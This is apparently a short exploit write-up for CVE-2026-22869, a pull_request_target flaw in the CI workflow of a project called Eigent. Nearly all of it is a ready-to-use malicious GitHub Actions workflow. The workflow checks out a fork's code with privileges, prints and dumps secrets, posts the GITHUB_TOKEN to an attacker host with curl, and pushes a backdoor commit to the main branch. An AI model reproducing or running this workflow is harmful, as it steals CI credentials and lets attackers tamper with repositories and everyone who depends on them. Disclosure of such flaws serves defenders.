CVE-2026-22869 Eigent CI工作流pull_request_target远程代码执行漏洞

# Malicious workflow to exploit CVE-2026-22869 # Save this as .github/workflows/malicious.yml in a fork PR name: Malicious CI on: pull_request_target: types: [opened, synchronize, reopened] jobs: exploit: runs-on: ubuntu-latest steps: # Checkout the PR code (runs in privileged context) - name: Checkout malicious PR uses: actions/checkout@v4 with: ref: ${{ github.event.pull_request.head.ref }} repository: ${{ github.event.pull_request.head.repo.full_name }} # Exfiltrate secrets and tokens - name: Steal credentials run: | echo "GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}" echo "Event Name: ${{ github.event_name }}" echo "Event Path: ${{ github.event_path }}" cat $GITHUB_ENV # Send to attacker controlled server curl -X POST https://attacker.com/exfil -d "token=${{ secrets.GITHUB_TOKEN }}" # Push malicious code to main branch - name: Push backdoor run: | git config user.name "malicious" git config user.email "[email protected]" echo "malicious_code()" >> main.py git add -A git commit -m "Add backdoor" git push https://x-access-token:${{ secrets.GITHUB_TOKEN }}@github.com/${{ github.repository }}.git HEAD:main